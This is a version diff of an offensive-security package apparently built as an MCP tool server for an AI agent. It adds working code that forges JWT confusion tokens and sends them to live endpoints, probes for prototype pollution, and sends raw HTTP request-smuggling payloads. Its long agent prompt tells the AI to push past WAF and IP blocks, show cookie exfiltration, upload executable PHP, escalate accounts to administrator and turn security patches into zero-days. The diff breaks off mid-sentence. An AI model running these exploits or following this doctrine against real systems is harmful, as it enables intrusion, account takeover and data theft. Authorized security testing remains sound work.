blitzstrike 2.4.117 → 2.4.119

package/CHANGELOG.md

@@ -5,6 +5,29 @@ All notable changes to Blitz Strike are documented here.
 The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/).
 
+## [2.4.119] — 2026-09-29
+
+### Security — lodash / lodash-es dependency vulnerabilities fixed
+
+- `java-parser` transitively pulled `lodash@4.17.21` + `lodash-es@4.17.21`
+  (code-injection via `_.template` + prototype pollution in `_.unset`/`_.omit`).
+  Added an npm `overrides` block pinning `lodash` + `lodash-es` to `4.18.1`;
+  `npm audit` now reports 0 vulnerabilities and the full test suite still passes.
+
+## [2.4.118] — 2026-09-29
+
+### Added — three logic-bug live probers (FN=18 gap)
+
+- `jwt_forge(token, endpoint, …)` — forges JWT confusion tokens (alg:none,
+  HS256-with-empty-key, HS256-with-public-key = RS256→HS256 key confusion,
+  plus kid/jku/x5u hints) and, when an endpoint is given, sends each one to
+  prove which is ACCEPTED (status < 400).
+- `proto_pollution_probe(target, endpoint)` — sends __proto__ /
+  constructor.prototype JSON canaries and reports VERIFIED only on reflection.
+- `smuggling_test(target)` — sends CL.TE / TE.CL desync probes over a raw
+  connection and flags a desync only on a specific corrupted-method signal
+  (405 / GGET-GPOST), never a generic 400. (152 MCP tools.)
+
 ## [2.4.117] — 2026-09-29
 
 ### Added — `cve_verify` (fingerprint-first → live nuclei confirmation)

package/dist/index.js

@@ -60146,6 +60146,206 @@ function cveVerify(cve, target) {
   }
 }
 
+// src/jwt-forge.ts
+import { createHmac } from "node:crypto";
+function b64url(buf) {
+  return Buffer.from(buf).toString("base64").replace(/=/g, "").replace(/\+/g, "-").replace(/\//g, "_");
+}
+function b64urlDecode(s) {
+  let t = s.replace(/-/g, "+").replace(/_/g, "/");
+  while (t.length % 4)
+    t += "=";
+  return Buffer.from(t, "base64");
+}
+function signHS256(data, secret) {
+  return b64url(createHmac("sha256", secret).update(data).digest());
+}
+async function jwtForge(opts) {
+  const token = opts.token.trim();
+  const parts = token.split(".");
+  if (parts.length < 2)
+    return { status: "error", message: "not a JWT (expected header.payload.signature)", forged: [] };
+  let header;
+  let payload;
+  try {
+    header = JSON.parse(b64urlDecode(parts[0]).toString());
+    payload = parts[1];
+  } catch {
+    return { status: "error", message: "malformed JWT header/payload", forged: [] };
+  }
+  const alg = String(header.alg ?? "HS256");
+  const forged = [];
+  const noneHeader = b64url(JSON.stringify({ ...header, alg: "none" }));
+  forged.push({ attack: "alg_none", token: `${noneHeader}.${payload}.`, note: "set alg=none, remove signature" });
+  const hsHeader = b64url(JSON.stringify({ ...header, alg: "HS256" }));
+  const hsData = `${hsHeader}.${payload}`;
+  forged.push({ attack: "hs256_empty_key", token: `${hsData}.${signHS256(hsData, "")}`, note: "RS256→HS256 signed with empty secret" });
+  if (opts.public_key) {
+    forged.push({ attack: "hs256_public_key", token: `${hsData}.${signHS256(hsData, opts.public_key)}`, note: "RS256→HS256 signed with the PUBLIC key as HMAC secret" });
+  }
+  if (/HS/i.test(alg)) {
+    if (header.kid)
+      forged.push({ attack: "kid_traversal", token: "", note: `kid='${header.kid}' — try path traversal (../../dev/null) or an attacker JWKS via jku/x5u` });
+    else if (!header.jku && !header.x5u)
+      forged.push({ attack: "kid_jku_x5u", token: "", note: "no kid/jku/x5u — add one to point at an attacker-controlled JWKS" });
+  }
+  if (opts.endpoint) {
+    const method = (opts.method ?? "GET").toUpperCase();
+    const headerName = opts.header ?? "Authorization";
+    const prefix = opts.token_prefix ?? "Bearer ";
+    for (const f of forged) {
+      if (!f.token)
+        continue;
+      try {
+        const res = await fetch(opts.endpoint, {
+          method,
+          headers: { [headerName]: `${prefix}${f.token}` },
+          redirect: "manual"
+        });
+        f.status = res.status;
+        f.accepted = res.status < 400;
+      } catch (e) {
+        f.status = -1;
+        f.accepted = false;
+      }
+    }
+  }
+  return { status: "ok", header, forged };
+}
+
+// src/proto-pollution.ts
+var CANARY = "blitzstrike_pollution_canary_9f3a";
+async function protoPollutionProbe(opts) {
+  if (!/^https?:\/\//i.test(opts.target)) {
+    return { status: "error", message: "target must be an http(s) URL", probes: [] };
+  }
+  const method = (opts.method ?? "POST").toUpperCase();
+  const param = opts.param ?? "data";
+  let full;
+  if (opts.endpoint && /^https?:\/\//i.test(opts.endpoint)) {
+    full = opts.endpoint;
+  } else {
+    const path = opts.endpoint ?? "";
+    full = `${opts.target.replace(/\/$/, "")}${path.startsWith("/") ? "" : "/"}${path}`;
+  }
+  const kinds = [
+    ["proto", JSON.stringify({ [param]: { __proto__: { polluted: CANARY } } })],
+    ["constructor", JSON.stringify({ [param]: { constructor: { prototype: { polluted: CANARY } } } })],
+    ["proto_direct", JSON.stringify({ __proto__: { polluted: CANARY } })],
+    ["constructor_direct", JSON.stringify({ constructor: { prototype: { polluted: CANARY } } })]
+  ];
+  const probes = [];
+  for (const [kind, body] of kinds) {
+    try {
+      const res = await fetch(full, { method, headers: { "Content-Type": "application/json" }, body });
+      const text = await res.text();
+      const reflected = text.includes(CANARY) || text.includes("polluted");
+      probes.push({ kind, http_status: res.status, reflected, note: reflected ? "canary reflected in response" : "no reflection" });
+    } catch (e) {
+      probes.push({ kind, http_status: -1, reflected: false, note: String(e.message) });
+    }
+  }
+  const verified = probes.some((p) => p.reflected);
+  return {
+    status: verified ? "verified" : "unverified",
+    message: verified ? "pollution canary reflected — prototype pollution confirmed" : "no reflection observed (pollution may still occur server-side — confirm with a follow-up request that observes the polluted property)",
+    probes
+  };
+}
+
+// src/smuggling.ts
+import { connect as connect2 } from "node:net";
+import { connect as tlsConnect } from "node:tls";
+function rawRound(host, port, tls, chunks) {
+  return new Promise((resolve) => {
+    const sock = tls ? tlsConnect({ host, port, rejectUnauthorized: false }) : connect2({ host, port });
+    let buf = "";
+    let done = false;
+    const finish = () => {
+      if (done)
+        return;
+      done = true;
+      sock.destroy();
+      const statuses = [...buf.matchAll(/^HTTP\/\d(?:\.\d)?\s+(\d{3})/gm)].map((m) => parseInt(m[1], 10));
+      resolve({ statuses, body: buf });
+    };
+    sock.setTimeout(8000, finish);
+    sock.on("connect", () => {
+      for (const c of chunks)
+        sock.write(c);
+    });
+    sock.on("data", (d) => {
+      buf += d.toString();
+    });
+    sock.on("end", finish);
+    sock.on("close", finish);
+    sock.on("error", finish);
+  });
+}
+function isCorrupted(body, status) {
+  return status === 405 || /GGET|GPOST|GPUT|GDELETE|unrecognized method|invalid method/i.test(body);
+}
+async function smugglingTest(target) {
+  let u;
+  try {
+    u = new URL(target);
+  } catch {
+    return { status: "error", message: `invalid URL: ${target}`, baseline: -1, probes: [] };
+  }
+  if (u.protocol !== "http:" && u.protocol !== "https:") {
+    return { status: "error", message: "target must be http(s)", baseline: -1, probes: [] };
+  }
+  const host = u.hostname;
+  const port = u.port ? parseInt(u.port, 10) : u.protocol === "https:" ? 443 : 80;
+  const tls = u.protocol === "https:";
+  const hostHeader = u.port ? `${host}:${u.port}` : host;
+  const baselineReq = `GET / HTTP/1.1\r
+Host: ${hostHeader}\r
+Connection: close\r
+\r
+`;
+  const baseline = await rawRound(host, port, tls, [baselineReq]);
+  const baselineStatus = baseline.statuses[0] ?? -1;
+  const clteProbe = `POST / HTTP/1.1\r
+Host: ${hostHeader}\r
+Content-Length: 6\r
+Transfer-Encoding: chunked\r
+\r
+0\r
+\r
+G`;
+  const teclProbe = `POST / HTTP/1.1\r
+Host: ${hostHeader}\r
+Transfer-Encoding: chunked\r
+Content-Length: 4\r
+\r
+5c\r
+GPOST / HTTP/1.1\r
+Host: ${hostHeader}\r
+Content-Length: 5\r
+\r
+x=1\r
+0\r
+\r
+`;
+  const probes = [];
+  const clteRes = await rawRound(host, port, tls, [clteProbe, baselineReq]);
+  const clteFollow = clteRes.statuses[1] ?? null;
+  const clteDesync = isCorrupted(clteRes.body, clteFollow);
+  probes.push({ type: "CL.TE", probe_status: clteRes.statuses[0] ?? -1, follow_up_status: clteFollow, desync: clteDesync, note: clteDesync ? "follow-up method corrupted (405 / GGET-GPOST) — CL.TE desync likely" : `follow-up ${clteFollow ?? "none"} — no corruption` });
+  const teclRes = await rawRound(host, port, tls, [teclProbe, baselineReq]);
+  const teclFollow = teclRes.statuses[1] ?? null;
+  const teclDesync = isCorrupted(teclRes.body, teclFollow);
+  probes.push({ type: "TE.CL", probe_status: teclRes.statuses[0] ?? -1, follow_up_status: teclFollow, desync: teclDesync, note: teclDesync ? "follow-up method corrupted (405 / GGET-GPOST) — TE.CL desync likely" : `follow-up ${teclFollow ?? "none"} — no corruption` });
+  const desync = clteDesync || teclDesync;
+  return {
+    status: desync ? "desync" : "no_desync",
+    message: desync ? "request-smuggling desync detected — verify manually with the full CL.TE/TE.CL chain before reporting" : "no method-corruption observed (single-round probe; a full smuggled-request chain may still be needed)",
+    baseline: baselineStatus,
+    probes
+  };
+}
+
 // src/benchmark.ts
 import { readFileSync as readFileSync25, readdirSync as readdirSync7, writeFileSync as writeFileSync6, rmSync as rmSync3, mkdirSync as mkdirSync7 } from "node:fs";
 import { join as join25 } from "node:path";
@@ -61246,8 +61446,8 @@ async function raceTest(input) {
 }
 
 // src/jwt-analyze.ts
-import { createHmac } from "node:crypto";
-function b64urlDecode(seg) {
+import { createHmac as createHmac2 } from "node:crypto";
+function b64urlDecode2(seg) {
   return Buffer.from(seg.replace(/-/g, "+").replace(/_/g, "/"), "base64").toString("utf8");
 }
 function decodeJwt(token) {
@@ -61255,8 +61455,8 @@ function decodeJwt(token) {
   if (parts.length < 2)
     return null;
   try {
-    const header = JSON.parse(b64urlDecode(parts[0]));
-    const payload = JSON.parse(b64urlDecode(parts[1]));
+    const header = JSON.parse(b64urlDecode2(parts[0]));
+    const payload = JSON.parse(b64urlDecode2(parts[1]));
     return { header, payload, signature: parts[2] ?? "", segments: parts.length };
   } catch {
     return null;
@@ -61312,7 +61512,7 @@ function analyzeJwt(token, opts = {}) {
   if (/^HS\d+$/i.test(alg) && signature && opts.wordlist && opts.wordlist.length > 0) {
     const data = `${token.split(".")[0]}.${token.split(".")[1]}`;
     for (const w of opts.wordlist.slice(0, 1e4)) {
-      const sig = createHmac("sha256", w).update(data).digest("base64url");
+      const sig = createHmac2("sha256", w).update(data).digest("base64url");
       if (sig === signature) {
         findings.push({
           type: "weak_secret",
@@ -62720,7 +62920,7 @@ function createServer2() {
 ` + `- A hard block (Cloudflare/WAF/IP-block/captcha) is NOT the end: mark the finding blocked + note the required vantage (residential / authorized / correct-SNI / --resolve direct-to-origin), then CONTINUE to the next lead (origin bypass, non-prod cluster, mobile APK, subdomain).
 ` + `- Keep trying every lead AND every chain step until each is verified/executed or blocked, THEN generate_report. Never deliver a bare surface map, and never stop at 'found X' when X enables more.
 
-` + "TWO PATHS:\\n" + "- Source path on disk -> blitz_scan / taint_file / eagle_eye2 (static).\\n" + "- Live URL -> live_recon / active_scan / strike_verify (web-hunting).\\n\\n" + "DEEPEN A FINDING: attack_plan(target, tech, params) to get the prioritized vector plan (decide what to test next with data); list_chains (escalation), chain_links (compose), technique_lookup(cls), payload_lookup, bypass_lookup (blocked). Ground any detector hit empirically with pattern_lookup(id) — it returns the class's CWE, real-world signature, escalation chains, citable references, per-class bypass techniques, and the high-value assets (crown jewels) that class hits, so a raw hit becomes a class-aware finding. Resolve free-form terminology first with synonym_lookup(term) (IDOR/BOLA/SQLi/prompt-injection → canonical id). For an llm_injection hit, its pattern carries a validation discipline — the RUN-TWICE RULE (reproduce token-for-token across two fresh sessions), NON-GUESSABLE ANCHOR (must leak a real key/URL, not a plausible guess), and OOB PROOF (a verifiable callback log) — apply all three before reporting. BEFORE generating a report, run submission_gate(...) and only ship a finding that passes all 7 questions (reproducible, in-scope, real-impact, no-privileged-assumption, verified-live, evidence-redacted, severity-derived); one false = kill it. Generate the concrete reproduction recipe with auto_poc(type, base_url, endpoint, param) — it emits the exact marker request + negative control + expected differential + Patchstack-style title, so 'reproducible' is executable, not abstract. Calibrate severity with severity_calibrate(type, cvss) to get a P1–P5 tier + VRT-style category. Start each engagement with engagement_scaffold(target, scope) for the folder + scope.md structure, and check data_refresh() to confirm the data layers are consistent. Phase doctrine: read_skill(bs-orchestrate-engagement | bs-web-hunting | bs-source-audit | bs-verify-finding). Campaign plan: read_playbook(target-type). On any failure call retry_guidance(signal) / model_fallback(signal) before giving up. HUNTING DOCTRINE (maximize payout rate): (1) SIBLING RULE — if one endpoint requires auth, check every sibling (/export /delete /share); ~30% of paid IDOR/auth bugs come from siblings — AUTOMATE it with sibling_scan(base_url, endpoint, token_a, token_b), the deterministic live logic-bug prober (sibling enumeration + differential IDOR + auth matrix + mass assignment + rate limit, evidence-first). (2) A→B SIGNAL — a confirmed bug signals a class of developer mistake; hunt B and C (20-min box) before reporting. (3) TWO-ACCOUNT IDOR — always test with attacker account A reading victim account B, and state it in the report. (4) PoC ESCALATION — IDOR shows victim data (not 200), XSS shows cookie exfil (not alert), SSRF shows internal response (not DNS), SQLi shows DB content (not error). (5) FOLLOW THE MONEY — billing/credits/refunds/wallet flows. (6) Kill weak findings with kill_list(type) BEFORE the gate — missing headers, self-XSS, open-redirect-alone, SSRF-DNS-only, GraphQL-introspection-alone are always N/A standalone. (7) CI/CD + SAML/SSO are critical attack surfaces (pull_request_target, expression injection, XML signature wrapping, comment injection). Full doctrine: hunting_doctrine(). WHAT TO HUNT NEXT: watchlist() returns the ranked CWE frequency + high-value CVEs with payout + a saturated flag (prioritize high-freq/high-payout/not-saturated: missing-authz, SQLi, SSRF, deserialization; skip saturated XSS/CSRF/open-redirect unless they chain into takeover). The CVE watchlist now spans 4,000+ product fingerprints (live from nuclei-templates when installed — refresh with sync_cve_corpus() before a big recon pass); live_recon's suggested_cves names the SPECIFIC CVE for the detected product/version — then cve_verify(cve, target) CONFIRMS it live by running the matching nuclei template (VERIFIED only when nuclei actually matches; a CVE is report-ready only after cve_verify, never from the fingerprint alone). SURFACE-FIRST: surface_map(surface) maps an attack surface (image/redirect proxy, edge cache, payment portal, AI agent, file service, Electron, SSO) to its highest-value tests — map surfaces then test, don't spray payloads. PRECISION GUARD: resolve_check(host) detects when an ISP/country redirects the domain to a blocking/sinkhole page (gambling/adult/streaming niches) — audit the PUBLIC IP, never the sinkhole.\n" + "KNOWLEDGE BASE (discover, don't guess): skillLookup(topic) / listSkills for the 40 attack-path + hunting skills (ap-*, hp-*, bs-*); list_attack_vectors / attack_vectors(cat) for the 34-category vector taxonomy; taxonomy(kind) for OWASP/CWE/ASVS/API-top-10; read_playbook(type) for the 17 campaign playbooks; list_manuals / read_tool_manual for 317 tool references; list_tools / run_catalog_tool for the 141-tool catalog. Every tool, skill, and data layer is reachable from these. CROSS-TARGET INTELLIGENCE: strike_resolve auto-records confirmed/false_positive verdicts into the empirical ledger; query it with intelligence(action=hit_rates/top_vectors/recall) so a new target on a known tech inherits historical hit-rates (attack_plan already blends them into success_probability). intelligence(action=recall, tech, target) is the per-engagement pattern recall — it returns which patterns historically CONFIRMED on that tech (prioritize them) versus which only ever produced false positives (avoid them), so a new engagement starts from the empirical playbook of past ones. LIVE PENTEST + TARGETING (black-box, WAF-safe): cache_gap(base_url, endpoint) fuzzes path-normalization + static-extension variants for cache deception/poisoning; blind_oracle(base_url, param, value) detects which SINK a param reaches (sql/ssti/xss) via benign arithmetic (id=1+0, test${7*7}) WITHOUT a malicious payload; param_precedence(base_url, param, A, B) maps duplicate-parameter precedence (first/last-wins) for WAF-bypass; broken_link_scan(url) detects expired-domain takeover (crawls outbound refs → DNS/RDAP → flags claimable domains). OOB (out-of-band) PROOF for BLIND vulns: oob_start() spins an interactsh listener (unique *.oast.* domain, streams DNS/HTTP interactions — the standard for public targets) or a local HTTP listener for local labs; inject the canary, then oob_poll(id) until the hit arrives; oob_stop(id) to clean up. A blind SSRF/XXE/SQLi/command-injection is CONFIRMED only when the canary actually arrives — never from a guess. SOURCE TARGETING: review_harness(path) FIRST for full coverage — it applies a fixed 5-signal rubric (entry_points/auth_gates/sinks/secrets/logic_bugs) to EVERY source file and sorts the signal-dense ones first (a complete map, not a partial scan); then action_surface(code) maps every wp_ajax_* action to its vuln class + DERIVED priority (what to look for WHERE); security_state(sanitizers, sink) gives a wrong-context sanitization verdict; framework_knowledge(framework) returns auth/nonce primitives for 9 frameworks; variant_scan(root, signature) mass-sweeps an install base for ONE bug family; patch_analyze(old, new) REVERSES a security patch into the 0-day, and its mine_signature feeds variant_scan to sweep unpatched copies. All of these are DETECTION HINTS — verify each live (strike_verify / browser_validate) before it enters the report. NEWEST DETECTORS — understand AND try them: variant_scan also emits priv_esc (privilege escalation — a role/capability/user change fed by request input, traced cross-file via reverse call-graph, e.g. set_role($id, sanitize_key($_POST['um-role'])) or update_user_meta(...,'wp_capabilities', $_POST[...])) and flags uploadAllow=>array('all') unrestricted-upload configs as file_upload (the file-manager/connector shape). TO TRY a priv_esc hit: submit the role field with 'administrator' (or send wp_capabilities meta) and confirm the account actually gains admin. TO TRY an unrestricted-upload hit: POST a .php/.phtml and confirm it lands web-reachable + executes. variant_scan also emits hardcoded_secret (CWE-798) in three tiers: a secret field (api_key/db_password/access_token/aws_*) assigned a literal (HIGH), a known secret FORMAT (JWT eyJ…/AWS AKIA…/GitHub ghp_…/Slack xoxb-…/…) regardless of name (HIGH), or a high-entropy suspect token (MEDIUM — verify before reporting). Verify a frontend/JS secret live via drive_devtools (inspect the JS bundle / network response and confirm the key is actually exposed), and for a backend secret confirm it is reachable/valid. A static hit is a HYPOTHESIS until verified live — never report unverified. For a repo, also scan_git_history(root) — secrets DELETED from HEAD still live in .git history (the removed-later-is-not-fixed trap), and it feeds every recovered pre-deletion blob through the same secret detector. Once you recover a credential, prove it is still ACTIVE with validate_leaked_key(apiBase, endpoints, key|blobUrl) — a READ-ONLY differential test (401-without-key vs 200-with-key = auth bypass PROVEN). Two supply-chain detectors: dependency_confusion (a manifest/build file resolving a package from a public registry — pypi.org/npmjs.org --extra-index-url, or a scoped @company/pkg with no private registry) and ml_supply_chain (torch.load without weights_only=True / joblib.load / np.load(allow_pickle=True) / keras load_model on an untrusted model → pickle RCE). Rust is supported end-to-end: the taint engine (blitz_scan / taint_file) maps Rust sinks (std::process::Command, sqlx/diesel, reqwest/hyper, std::fs, serde/bincode) to the classic classes, plus two Rust-specific detectors — rust_unsafe (transmute / assume_init / from_raw_parts / ptr::* — memory-unsafety surface, CWE-119) and rust_format_string (println!/format! with a variable as the format string — CWE-134). The sqlx query! compile-time macro is treated as safe (suppressed). Two more web-class detectors: jwt_alg_confusion (a JWT verifier that dispatches on the token's alg header and accepts BOTH RS256 and HS256, with the HS256 HMAC secret derived from public/shared key material — CWE-347; the attacker sets alg=HS256 and signs with the public key to forge admin tokens) and cache_deception (a reverse proxy caching static-extension URLs with a cache key that omits the session cookie, over a session-authenticated backend — CWE-525; the victim's cached private response is re-fetched anonymously). TO TRY a jwt_alg_confusion hit: fetch the public key (/.well-known/jwks.json), forge an HS256 token signed with that public key, and confirm admin access. TO TRY a cache_deception hit: request an authenticated path with a static extension appended (.css/.js) and re-fetch it anonymously. Three more detectors: cors_misconfiguration (Access-Control-Allow-Origin reflects the request Origin or is '*' while credentials are true — CWE-942; any site reads the victim's authenticated responses), xss (user input into a DOM sink — innerHTML / dangerouslySetInnerHTML / document.write / .html() / eval — CWE-79), and subdomain_takeover (a dangling CNAME/AliasTarget to a claimable service like *.github.io/*.herokuapp.com/*.amazonaws.com — CWE-404). TO TRY a cors hit: send an evil Origin + confirm the response echoes it with Allow-Credentials:true. TO TRY an xss hit: confirm the sink executes (drive_devtools). TO TRY a takeover hit: verify the CNAME target resolves to an unclaimed/not-found page. Two more client-side detectors: postmessage_no_origin_check (a window message listener that reads event.data but never validates event.origin — CWE-345; any site can drive the handler) and client_trusted_flag (a privilege/entitlement flag like isAdmin/withVip/premium read from request input and used in a security decision — CWE-807/639; derive the flag from server state, never the client). TO TRY a postMessage hit: send a crafted message from an attacker origin and confirm the handler acts on it. TO TRY a client-trusted-flag hit: flip the flag param to true and confirm the privilege is actually granted. WEB3: for Solidity/EVM, call web3_audit(code|path) — a deterministic 13-class smart-contract audit (reentrancy incl. ERC721/ERC1155 callback reentrancy, unchecked return, unchecked arithmetic, tx.origin auth, signature replay, unprotected selfdestruct, delegatecall-to-user-input, missing access control, timestamp dependence, spot-price oracle manipulation incl. slot0/latestRoundData, unbounded loop, abi.encodePacked hash collision, missing address(0) validation) returning ranked findings (class/CWE/severity/line), then foundry_poc(class, contract) to generate an executable Foundry test, and foundry_run(contract_code, poc_code|class_) to actually EXECUTE it — a PASSING PoC test is the proof that the exploit reproduces (deterministic: forge's own test verdict). A web3 hit is a HYPOTHESIS until the Foundry PoC reproduces it.\n" + `PRECISION ANALYSIS — chrome-devtools MCP is MANDATORY, not optional:
+` + "TWO PATHS:\\n" + "- Source path on disk -> blitz_scan / taint_file / eagle_eye2 (static).\\n" + "- Live URL -> live_recon / active_scan / strike_verify (web-hunting).\\n\\n" + "DEEPEN A FINDING: attack_plan(target, tech, params) to get the prioritized vector plan (decide what to test next with data); list_chains (escalation), chain_links (compose), technique_lookup(cls), payload_lookup, bypass_lookup (blocked). Ground any detector hit empirically with pattern_lookup(id) — it returns the class's CWE, real-world signature, escalation chains, citable references, per-class bypass techniques, and the high-value assets (crown jewels) that class hits, so a raw hit becomes a class-aware finding. Resolve free-form terminology first with synonym_lookup(term) (IDOR/BOLA/SQLi/prompt-injection → canonical id). For an llm_injection hit, its pattern carries a validation discipline — the RUN-TWICE RULE (reproduce token-for-token across two fresh sessions), NON-GUESSABLE ANCHOR (must leak a real key/URL, not a plausible guess), and OOB PROOF (a verifiable callback log) — apply all three before reporting. BEFORE generating a report, run submission_gate(...) and only ship a finding that passes all 7 questions (reproducible, in-scope, real-impact, no-privileged-assumption, verified-live, evidence-redacted, severity-derived); one false = kill it. Generate the concrete reproduction recipe with auto_poc(type, base_url, endpoint, param) — it emits the exact marker request + negative control + expected differential + Patchstack-style title, so 'reproducible' is executable, not abstract. Calibrate severity with severity_calibrate(type, cvss) to get a P1–P5 tier + VRT-style category. Start each engagement with engagement_scaffold(target, scope) for the folder + scope.md structure, and check data_refresh() to confirm the data layers are consistent. Phase doctrine: read_skill(bs-orchestrate-engagement | bs-web-hunting | bs-source-audit | bs-verify-finding). Campaign plan: read_playbook(target-type). On any failure call retry_guidance(signal) / model_fallback(signal) before giving up. HUNTING DOCTRINE (maximize payout rate): (1) SIBLING RULE — if one endpoint requires auth, check every sibling (/export /delete /share); ~30% of paid IDOR/auth bugs come from siblings — AUTOMATE it with sibling_scan(base_url, endpoint, token_a, token_b), the deterministic live logic-bug prober (sibling enumeration + differential IDOR + auth matrix + mass assignment + rate limit, evidence-first). (2) A→B SIGNAL — a confirmed bug signals a class of developer mistake; hunt B and C (20-min box) before reporting. (3) TWO-ACCOUNT IDOR — always test with attacker account A reading victim account B, and state it in the report. (4) PoC ESCALATION — IDOR shows victim data (not 200), XSS shows cookie exfil (not alert), SSRF shows internal response (not DNS), SQLi shows DB content (not error). (5) FOLLOW THE MONEY — billing/credits/refunds/wallet flows. (6) Kill weak findings with kill_list(type) BEFORE the gate — missing headers, self-XSS, open-redirect-alone, SSRF-DNS-only, GraphQL-introspection-alone are always N/A standalone. (7) CI/CD + SAML/SSO are critical attack surfaces (pull_request_target, expression injection, XML signature wrapping, comment injection). Full doctrine: hunting_doctrine(). WHAT TO HUNT NEXT: watchlist() returns the ranked CWE frequency + high-value CVEs with payout + a saturated flag (prioritize high-freq/high-payout/not-saturated: missing-authz, SQLi, SSRF, deserialization; skip saturated XSS/CSRF/open-redirect unless they chain into takeover). The CVE watchlist now spans 4,000+ product fingerprints (live from nuclei-templates when installed — refresh with sync_cve_corpus() before a big recon pass); live_recon's suggested_cves names the SPECIFIC CVE for the detected product/version — then cve_verify(cve, target) CONFIRMS it live by running the matching nuclei template (VERIFIED only when nuclei actually matches; a CVE is report-ready only after cve_verify, never from the fingerprint alone). SURFACE-FIRST: surface_map(surface) maps an attack surface (image/redirect proxy, edge cache, payment portal, AI agent, file service, Electron, SSO) to its highest-value tests — map surfaces then test, don't spray payloads. PRECISION GUARD: resolve_check(host) detects when an ISP/country redirects the domain to a blocking/sinkhole page (gambling/adult/streaming niches) — audit the PUBLIC IP, never the sinkhole.\n" + "KNOWLEDGE BASE (discover, don't guess): skillLookup(topic) / listSkills for the 40 attack-path + hunting skills (ap-*, hp-*, bs-*); list_attack_vectors / attack_vectors(cat) for the 34-category vector taxonomy; taxonomy(kind) for OWASP/CWE/ASVS/API-top-10; read_playbook(type) for the 17 campaign playbooks; list_manuals / read_tool_manual for 317 tool references; list_tools / run_catalog_tool for the 141-tool catalog. Every tool, skill, and data layer is reachable from these. CROSS-TARGET INTELLIGENCE: strike_resolve auto-records confirmed/false_positive verdicts into the empirical ledger; query it with intelligence(action=hit_rates/top_vectors/recall) so a new target on a known tech inherits historical hit-rates (attack_plan already blends them into success_probability). intelligence(action=recall, tech, target) is the per-engagement pattern recall — it returns which patterns historically CONFIRMED on that tech (prioritize them) versus which only ever produced false positives (avoid them), so a new engagement starts from the empirical playbook of past ones. LIVE PENTEST + TARGETING (black-box, WAF-safe): cache_gap(base_url, endpoint) fuzzes path-normalization + static-extension variants for cache deception/poisoning; blind_oracle(base_url, param, value) detects which SINK a param reaches (sql/ssti/xss) via benign arithmetic (id=1+0, test${7*7}) WITHOUT a malicious payload; param_precedence(base_url, param, A, B) maps duplicate-parameter precedence (first/last-wins) for WAF-bypass; broken_link_scan(url) detects expired-domain takeover (crawls outbound refs → DNS/RDAP → flags claimable domains). Logic-bug live probers: jwt_forge(token, endpoint, …) forges JWT confusion tokens (alg:none / RS256→HS256 key-confusion / kid-jku-x5u) and proves which is ACCEPTED live; proto_pollution_probe(target, endpoint) sends __proto__ / constructor.prototype JSON canaries and reports VERIFIED only on reflection; smuggling_test(target) sends CL.TE / TE.CL desync probes over a raw connection. OOB (out-of-band) PROOF for BLIND vulns: oob_start() spins an interactsh listener (unique *.oast.* domain, streams DNS/HTTP interactions — the standard for public targets) or a local HTTP listener for local labs; inject the canary, then oob_poll(id) until the hit arrives; oob_stop(id) to clean up. A blind SSRF/XXE/SQLi/command-injection is CONFIRMED only when the canary actually arrives — never from a guess. SOURCE TARGETING: review_harness(path) FIRST for full coverage — it applies a fixed 5-signal rubric (entry_points/auth_gates/sinks/secrets/logic_bugs) to EVERY source file and sorts the signal-dense ones first (a complete map, not a partial scan); then action_surface(code) maps every wp_ajax_* action to its vuln class + DERIVED priority (what to look for WHERE); security_state(sanitizers, sink) gives a wrong-context sanitization verdict; framework_knowledge(framework) returns auth/nonce primitives for 9 frameworks; variant_scan(root, signature) mass-sweeps an install base for ONE bug family; patch_analyze(old, new) REVERSES a security patch into the 0-day, and its mine_signature feeds variant_scan to sweep unpatched copies. All of these are DETECTION HINTS — verify each live (strike_verify / browser_validate) before it enters the report. NEWEST DETECTORS — understand AND try them: variant_scan also emits priv_esc (privilege escalation — a role/capability/user change fed by request input, traced cross-file via reverse call-graph, e.g. set_role($id, sanitize_key($_POST['um-role'])) or update_user_meta(...,'wp_capabilities', $_POST[...])) and flags uploadAllow=>array('all') unrestricted-upload configs as file_upload (the file-manager/connector shape). TO TRY a priv_esc hit: submit the role field with 'administrator' (or send wp_capabilities meta) and confirm the account actually gains admin. TO TRY an unrestricted-upload hit: POST a .php/.phtml and confirm it lands web-reachable + executes. variant_scan also emits hardcoded_secret (CWE-798) in three tiers: a secret field (api_key/db_password/access_token/aws_*) assigned a literal (HIGH), a known secret FORMAT (JWT eyJ…/AWS AKIA…/GitHub ghp_…/Slack xoxb-…/…) regardless of name (HIGH), or a high-entropy suspect token (MEDIUM — verify before reporting). Verify a frontend/JS secret live via drive_devtools (inspect the JS bundle / network response and confirm the key is actually exposed), and for a backend secret confirm it is reachable/valid. A static hit is a HYPOTHESIS until verified live — never report unverified. For a repo, also scan_git_history(root) — secrets DELETED from HEAD still live in .git history (the removed-later-is-not-fixed trap), and it feeds every recovered pre-deletion blob through the same secret detector. Once you recover a credential, prove it is still ACTIVE with validate_leaked_key(apiBase, endpoints, key|blobUrl) — a READ-ONLY differential test (401-without-key vs 200-with-key = auth bypass PROVEN). Two supply-chain detectors: dependency_confusion (a manifest/build file resolving a package from a public registry — pypi.org/npmjs.org --extra-index-url, or a scoped @company/pkg with no private registry) and ml_supply_chain (torch.load without weights_only=True / joblib.load / np.load(allow_pickle=True) / keras load_model on an untrusted model → pickle RCE). Rust is supported end-to-end: the taint engine (blitz_scan / taint_file) maps Rust sinks (std::process::Command, sqlx/diesel, reqwest/hyper, std::fs, serde/bincode) to the classic classes, plus two Rust-specific detectors — rust_unsafe (transmute / assume_init / from_raw_parts / ptr::* — memory-unsafety surface, CWE-119) and rust_format_string (println!/format! with a variable as the format string — CWE-134). The sqlx query! compile-time macro is treated as safe (suppressed). Two more web-class detectors: jwt_alg_confusion (a JWT verifier that dispatches on the token's alg header and accepts BOTH RS256 and HS256, with the HS256 HMAC secret derived from public/shared key material — CWE-347; the attacker sets alg=HS256 and signs with the public key to forge admin tokens) and cache_deception (a reverse proxy caching static-extension URLs with a cache key that omits the session cookie, over a session-authenticated backend — CWE-525; the victim's cached private response is re-fetched anonymously). TO TRY a jwt_alg_confusion hit: fetch the public key (/.well-known/jwks.json), forge an HS256 token signed with that public key, and confirm admin access. TO TRY a cache_deception hit: request an authenticated path with a static extension appended (.css/.js) and re-fetch it anonymously. Three more detectors: cors_misconfiguration (Access-Control-Allow-Origin reflects the request Origin or is '*' while credentials are true — CWE-942; any site reads the victim's authenticated responses), xss (user input into a DOM sink — innerHTML / dangerouslySetInnerHTML / document.write / .html() / eval — CWE-79), and subdomain_takeover (a 